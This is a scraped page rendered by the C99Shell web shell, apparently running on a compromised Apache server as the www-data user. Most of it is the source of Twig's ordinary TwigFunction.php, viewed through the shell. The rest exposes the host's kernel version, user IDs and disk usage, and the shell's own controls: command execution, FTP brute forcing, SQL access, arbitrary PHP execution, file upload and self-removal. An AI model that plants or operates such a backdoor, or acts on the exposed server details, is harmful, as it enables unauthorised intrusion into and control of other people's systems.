!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/php/Twig/   drwxr-xr-x
Free 13.34 GB of 57.97 GB (23.02%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TwigFunction.php (3.3 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of Twig.
 *
 * (c) Fabien Potencier
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Twig;

use 
Twig\Node\Expression\FunctionExpression;
use 
Twig\Node\Node;

/**
 * Represents a template function.
 *
 * @final
 *
 * @author Fabien Potencier <fabien@symfony.com>
 *
 * @see https://twig.symfony.com/doc/templates.html#functions
 */
class TwigFunction
{
    private 
$name;
    private 
$callable;
    private 
$options;
    private 
$arguments = [];

    
/**
     * Creates a template function.
     *
     * @param string        $name     Name of this function
     * @param callable|null $callable A callable implementing the function. If null, you need to overwrite the "node_class" option to customize compilation.
     * @param array         $options  Options array
     */
    
public function __construct(string $name$callable null, array $options = [])
    {
        if (
__CLASS__ !== \get_class($this)) {
            @
trigger_error('Overriding '.__CLASS__.' is deprecated since Twig 2.4.0 and the class will be final in 3.0.'E_USER_DEPRECATED);
        }

        
$this->name $name;
        
$this->callable $callable;
        
$this->options array_merge([
            
'needs_environment' => false,
            
'needs_context' => false,
            
'is_variadic' => false,
            
'is_safe' => null,
            
'is_safe_callback' => null,
            
'node_class' => FunctionExpression::class,
            
'deprecated' => false,
            
'alternative' => null,
        ], 
$options);
    }

    public function 
getName()
    {
        return 
$this->name;
    }

    
/**
     * Returns the callable to execute for this function.
     *
     * @return callable|null
     */
    
public function getCallable()
    {
        return 
$this->callable;
    }

    public function 
getNodeClass()
    {
        return 
$this->options['node_class'];
    }

    public function 
setArguments($arguments)
    {
        
$this->arguments $arguments;
    }

    public function 
getArguments()
    {
        return 
$this->arguments;
    }

    public function 
needsEnvironment()
    {
        return 
$this->options['needs_environment'];
    }

    public function 
needsContext()
    {
        return 
$this->options['needs_context'];
    }

    public function 
getSafe(Node $functionArgs)
    {
        if (
null !== $this->options['is_safe']) {
            return 
$this->options['is_safe'];
        }

        if (
null !== $this->options['is_safe_callback']) {
            return 
$this->options['is_safe_callback']($functionArgs);
        }

        return [];
    }

    public function 
isVariadic()
    {
        return 
$this->options['is_variadic'];
    }

    public function 
isDeprecated()
    {
        return (bool) 
$this->options['deprecated'];
    }

    public function 
getDeprecatedVersion()
    {
        return 
$this->options['deprecated'];
    }

    public function 
getAlternative()
    {
        return 
$this->options['alternative'];
    }
}

// For Twig 1.x compatibility
class_alias('Twig\TwigFunction''Twig_SimpleFunction'false);

class_alias('Twig\TwigFunction''Twig_Function');

// Ensure that the aliased name is loaded to keep BC for classes implementing the typehint with the old aliased name.
class_exists('Twig\Node\Node');

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.1861 ]--